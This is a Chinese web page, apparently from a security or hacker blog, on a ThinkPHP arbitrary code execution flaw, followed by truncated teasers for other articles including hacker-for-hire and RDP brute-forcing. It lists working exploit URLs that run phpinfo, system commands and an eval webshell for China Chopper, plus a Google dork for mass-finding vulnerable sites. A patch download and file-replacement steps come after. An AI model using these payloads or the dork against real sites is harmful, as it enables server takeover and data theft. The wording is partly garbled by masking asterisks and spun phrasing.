ThinkPHP是一个开源的PHP框架, 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和 *** P的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
最近thinkphp框架爆出了一个任意代码执行漏洞,其威胁程序相当的高,漏洞利用 *** 如下:
index.php/module/aciton/param1/${@print(THINK_VERSION)}
index.php/module/aciton/param1/${@function_all()} 其中function_all代表任何函数,比如:
index.php/module/aciton/param1/${@phpinfo()} 获取服务器的系统配置信息等。 index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al 列出网站文件列表 index.php/module/action/param1/{${eval($_POST[s])}} 直接执行一句话代码,用菜刀直接连接. 有时候连接不上的话需要修改一下后面的一句话用print()函数打印出来,如下:
index.php/module/action/param1/$%7B@print(eval($_POST[c]))%7D
黑阔可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。 thinkphp框架执行任意代码漏洞修复 *** :
用户可下载官方发布的补丁:http://www.nxadmin.com/tools/ThinkPHP_20120323_security_patch.zip 修正 *** :
首先解压缩安全补丁文件。
2.1和2.2版本 替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Think/Util/目录下的同名文件 3.0版本 替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Core/目录下面的同名文件 替换补丁包中的CheckRouteBehavior.class.php 文件到 ThinkPHP/Lib/Behavior/目录下面的同名文件
其实爆破服务器很简单的,也是必学的。 3389是一个远程桌面的端口,很多人为了更方便管理服务器,更新服务器上的资源等,经常会开启3389端口,用nastat-an命令可以查看该端口的开启。对...
网络黑客的渗入方式,实际上压根来自安全性的木桶原理。 决策一个公司的网络信息安全,在于安全性结构加固最少的那片木工板。 网络黑客通常会对企业安全生产里最少的那片木工板着手。 网络黑客在渗入的情况下,...
公共互联网威胁的定量评估。微信公共互联网威胁量化是一项为企业提供实时、客观的网络安全风险量化风险评估服务。通过微信小程序,可以直观地呈现企业网络安全指标、安全等级、详细安全问题等信息。 它不仅反映了...
一、技术黑客接单流程 1、接单方法他们不信任自愿合作和信息分享他们只喜欢控制的合作。技术找赌博人合作黑客在别人眼中是一件坏事,但黑客只是一个喜欢追求技术突破的人。他们擅长入侵、破解、攻击、社会攻击等等...
什么叫Beef? 电脑浏览器开发框架(Beef)是另一个很好的热门专业安全工器具。该专用工具将为网站渗透测试员发展技术性出示工作经验,与别的专用工具不一样,Beef致力于运用电脑浏览器系统漏洞来查验...
什么叫OSSIM? OSSIM出示安全性专业人员从SIEM商品中出示的全部作用 - 恶性事件搜集,归一化和关联性。OSSIM是由注安师建立和发布的,不但必须掌握,并且掌握到很多安全性专业人员遭遇的实...